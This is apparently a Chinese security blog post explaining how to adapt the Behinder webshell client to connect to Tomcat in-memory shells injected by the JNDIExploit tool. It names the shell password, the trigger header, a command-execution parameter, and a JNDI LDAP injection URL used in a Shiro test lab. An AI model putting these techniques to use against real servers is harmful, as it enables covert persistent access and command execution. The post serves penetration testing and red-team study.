Part1 前言
JNDIExploit是一款常用的用于JNDI注入利用的工具,其大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于JNDI反序列化漏洞的利用,可直接对出网情况下的JNDI进行回显。JNDIExploit这款工具注入的冰蝎内存马是经过改造后的冰蝎,网上并没有改造好的与之适配的冰蝎客户端放出来,原版的冰蝎是连接不上的,而且网上的相关冰蝎内存马改造文章很少,给大家日常的渗透测试或者红队工作带来了很多不便。今天ABC_123就写一篇文章,详细描述一下如何根据JNDIExploit工具的内存马改造出一个可用的冰蝎客户端。
Part2 技术研究过程
- JNDIExploit注入内存马的代码
首先查看一下JNDIExploit的使用说明,输入命令java -jar JNDIExploit-1.3-SNAPSHOT.jar -u即可看到。其中含有TomcatMemshell1、TomcatMemshell2、WeblogicMemshell1、WeblogicMemshell2等关键字的功能可以直接注入冰蝎内存马,但是这个工具附带的冰蝎内存马是经过修改的,原版的冰蝎并不能使用,我们并没有与之配套的冰蝎客户端可用。
接下来去定位一下注入内存马的java代码是怎么编写的。将JNDIExploit工具使用Intellij Idea导入,利用idea自带的反编译功能看一下具体的代码实现。首先通过MANIFEST.MF文件找到主类,一步步跟下去,定位到关键代码。
接着很容易找到TomcatMemshellTemplate1这个class文件,idea反编译的结果如下:
上图很明显可以看到,codeClass的代码base64解密后得到字节码数组,接着通过类加载器还原出这个类,实现内存马的注入。接下来我们将codeClass的结果进行base64解码,即可得到一个class文件,然后对class文件进行反编译,就能得到注入内存马的关键代码了。
如下图所示,很明显可以看到,这是一个Filter型的内存马。
- 冰蝎马改造的2个前提条件
如下图所示,可以直接看到,冰蝎内存马的密码behinderShellPwd = "e45e329feb5d925b"解密后是rebeyond。
如下图所示,当消息头含有behinderShellHeader = "X-Options-Ai"这个请求头,并且请求方法为POST时,会进入冰蝎内存马的代码逻辑,说明使用冰蝎马连接的时候,要添加一个自定义的请求头X-Options-Ai。至此,改造冰蝎的两个前提条件我们已经知道了。其中红色框起来的代码是我们改造冰蝎马的关键所在。
- 回顾原版冰蝎的工作流程
在改造冰蝎马前,首先回顾一下正常冰蝎马的工作流程:红队人员首先通过上传漏洞将shell.jsp文件上传到tomcat中间件,成为一个服务端,这个shell.jsp文件会接受并处理冰蝎客户端的请求。这个JSP文件的内容如下图所示,其内部定义了一个名称为U的继承 ClassLoader的类加载器,里面还定义了一个名为g的方法,会将冰蝎客户端传过来的数据进行处理,找到Session对象中存放的冰蝎秘钥,用这个秘钥将数据进行AES解密,然后将解密后的字节数组通过defineClass获取到一个Class对象,newInstance之后获取到该类,接着调用这个类中的equals方法,equals方法接收了jsp的上下文对象pageContext,字节数组中是冰蝎客户端事先写好的各种webshell的功能,比如说执行命令、上传文件、枚举目录等。
冰蝎客户端的关键代码如下所示:反编译冰蝎客户端的net.rebeyond.behinder.payload.java.Cmd这个class文件,发现里面正好有一个equals方法,冰蝎客户端会把这个class文件转换成字节码,用冰蝎秘钥进行AES加密后提交给shell.jsp去处理,然后shell.jsp通过类加载器将这个类还原出来,并且调用equals方法,接着equals方法将传入的对象强转成pageContext对象,然后通过pageContext对象获取Request、Response,而Session对象可以从request.getSession()获取到,Session对象中存放着冰蝎的key。这里非常关键,至此我们了解到,无论后续冰蝎内存马怎么改,关键是要能正确获取Request、Response这两个对象,因为有了这2个对象,什么事情都能做。
- JNDIExploit中内存马实现
接下来看一下JNDIExploit工具中的内存马写法,如下图所示:JNDIExploit内存马(注意与前面的作为服务端的JSP马做对比)中的equals方法传入了2个对象,分别是ServletRequest、ServletResponse对象,而原版的冰蝎客户端的equals方法只传入了一个Object对象,也就是pageContext对象,这样显然是不能用的。不能用的原因有2个:1、equals方法名一样,但是传参个数不一样;2、内存马与JSP文件不一样,JSP文件上下文是有PageContext对象的,而内存马是通过反射添加了一个Filter,这个Filter的上下文是不存在PageContext对象的。原版的冰蝎向equals方法传入PageContext对象给Filter,肯定是行不通的(这里挺绕的,新手多看几遍去理解吧,这里如果展开细说,那可就麻烦了)。
- 改造冰蝎客户端的具体代码
所以接下来关键点来了,我们需要的事情就很明白了,就是把冰蝎客户端的各种Java类中的equals方法改一下,传参由只传一个Object对象(PageContext对象),改为传入两个ServletRequest、ServletResponse对象,然后把当前类一系列报错都处理正确即可。我把关键代码完整的图贴出来,让大家少走弯路。为了让新手能看明白,我特意将一些类写成了如javax.servlet.ServletRequest、javax.servlet.ServletResponse的全类名形式。
接下来将原版冰蝎中的page.getSession()改成Session对象直接获取即可,而Session对象是有Request对象获取到的,接下来将page.getOut().clear();注释掉,然后BasicInfo.java这个类就修改好了。
如果至此,有朋友还是不理解,那么就按照上面两张图,依葫芦画瓢,照着改吧,我把完整的代码图片都贴出来了。
- JNDIExploit注入的CMD内存马
以下代码说明JNDIExploit在注入一个冰蝎内存马的同时,也注入了一个CMD内存马,当提交type=basic&pass=whoami,pass位置可以直接传入需要执行的命令。
- 改造好的冰蝎客户端测试
首先搭建一个shiro反序列化漏洞的测试环境,通过CommonsBeanutils链发起一个jndi请求,使用JNDIExploit的命令ldap://192.168.237.1:8888/Basic/TomcatMemshell2注入内存马。
如下图所示,使用burpsuite发送上述数据包,提示“Memshell Inject Success”,说明内存马注入成功。
将改造后的冰蝎客户端按照如下设置,密码为rebeyond,HTTP请求头设置X-Options-Ai:xxxxxx。
成功连上,证明冰蝎客户端改造的没有问题,完全可以适用于JNDIExploit工具。
Part3 总结
1、理解一个技术问题需要理解它的实质,如果下功夫真正对原理理解透彻了,改一个冰蝎内存马就是分分钟的事情了。
2、在有些特殊环境,冰蝎内存马不一定可用,这时候可以试试注入一个哥斯拉的内存马。
专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等
每周一篇,99%原创,敬请关注